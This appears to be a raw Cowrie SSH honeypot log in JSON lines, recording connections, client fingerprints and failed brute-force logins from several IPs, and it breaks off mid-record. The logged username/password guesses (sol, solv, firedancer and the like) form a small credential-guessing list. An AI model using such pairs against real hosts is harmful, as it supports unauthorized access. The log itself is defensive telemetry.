{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:14:00.519081Z","src_ip":"195.178.110.218","session":"f30468a3fdf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":55244,"dst_ip":"10.17.0.5","dst_port":22,"session":"4caa81f65acd","protocol":"ssh","message":"New connection: 157.15.59.121:55244 (10.17.0.5:22) [session: 4caa81f65acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:31.503279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:31.507671Z","src_ip":"157.15.59.121","session":"4caa81f65acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:31.755992Z","src_ip":"157.15.59.121","session":"4caa81f65acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osm","password":"osmosm","message":"login attempt [osm/osmosm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:32.780622Z","src_ip":"157.15.59.121","session":"4caa81f65acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:34.032486Z","src_ip":"157.15.59.121","session":"4caa81f65acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58572,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b590be80633","protocol":"ssh","message":"New connection: 2.57.122.96:58572 (159.203.135.109:22) [session: 9b590be80633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:58.542608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:58.588538Z","src_ip":"2.57.122.96","session":"9b590be80633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:58.679030Z","src_ip":"2.57.122.96","session":"9b590be80633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:15:59.079885Z","src_ip":"2.57.122.96","session":"9b590be80633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:00.185765Z","src_ip":"2.57.122.96","session":"9b590be80633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":32990,"dst_ip":"10.17.0.5","dst_port":22,"session":"4676a5004d99","protocol":"ssh","message":"New connection: 92.118.39.76:32990 (10.17.0.5:22) [session: 4676a5004d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:02.921768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:02.925968Z","src_ip":"92.118.39.76","session":"4676a5004d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:03.031717Z","src_ip":"92.118.39.76","session":"4676a5004d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:03.335111Z","src_ip":"92.118.39.76","session":"4676a5004d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:04.436816Z","src_ip":"92.118.39.76","session":"4676a5004d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50854,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a8992b9977f","protocol":"ssh","message":"New connection: 195.178.110.218:50854 (159.203.135.109:22) [session: 1a8992b9977f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:14.772064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:14.777845Z","src_ip":"195.178.110.218","session":"1a8992b9977f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:14.859911Z","src_ip":"195.178.110.218","session":"1a8992b9977f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:15.099024Z","src_ip":"195.178.110.218","session":"1a8992b9977f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:16.180515Z","src_ip":"195.178.110.218","session":"1a8992b9977f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45426,"dst_ip":"10.17.0.5","dst_port":22,"session":"c81373d2527b","protocol":"ssh","message":"New connection: 195.178.110.218:45426 (10.17.0.5:22) [session: c81373d2527b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:33.206450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:33.210523Z","src_ip":"195.178.110.218","session":"c81373d2527b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:33.285855Z","src_ip":"195.178.110.218","session":"c81373d2527b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:33.513046Z","src_ip":"195.178.110.218","session":"c81373d2527b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:16:34.589463Z","src_ip":"195.178.110.218","session":"c81373d2527b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.121","src_port":55972,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0125e8128b","protocol":"ssh","message":"New connection: 157.15.59.121:55972 (10.17.0.5:22) [session: ef0125e8128b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:17:47.808249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:17:47.812511Z","src_ip":"157.15.59.121","session":"ef0125e8128b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:17:48.047413Z","src_ip":"157.15.59.121","session":"ef0125e8128b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afa","password":"12345678","message":"login attempt [afa/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:17:49.019371Z","src_ip":"157.15.59.121","session":"ef0125e8128b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:17:50.257048Z","src_ip":"157.15.59.121","session":"ef0125e8128b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47030,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e73cbe8a59f","protocol":"ssh","message":"New connection: 195.178.110.218:47030 (159.203.135.109:22) [session: 7e73cbe8a59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:50.424778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:50.429292Z","src_ip":"195.178.110.218","session":"7e73cbe8a59f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:50.508600Z","src_ip":"195.178.110.218","session":"7e73cbe8a59f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:50.746476Z","src_ip":"195.178.110.218","session":"7e73cbe8a59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:51.827031Z","src_ip":"195.178.110.218","session":"7e73cbe8a59f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33770,"dst_ip":"159.203.135.109","dst_port":22,"session":"003b86e2eadd","protocol":"ssh","message":"New connection: 2.57.122.96:33770 (159.203.135.109:22) [session: 003b86e2eadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:58.474632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:58.479112Z","src_ip":"2.57.122.96","session":"003b86e2eadd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:58.582342Z","src_ip":"2.57.122.96","session":"003b86e2eadd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:18:58.897186Z","src_ip":"2.57.122.96","session":"003b86e2eadd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:19:00.016732Z","src_ip":"2.57.122.96","session":"003b86e2eadd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47876,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef1a205f391","protocol":"ssh","message":"New connection: 195.178.110.218:47876 (10.17.0.5:22) [session: 2ef1a205f391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:19:06.473201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:19:06.477303Z","src_ip":"195.178.110.218","session":"2ef1a205f391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-c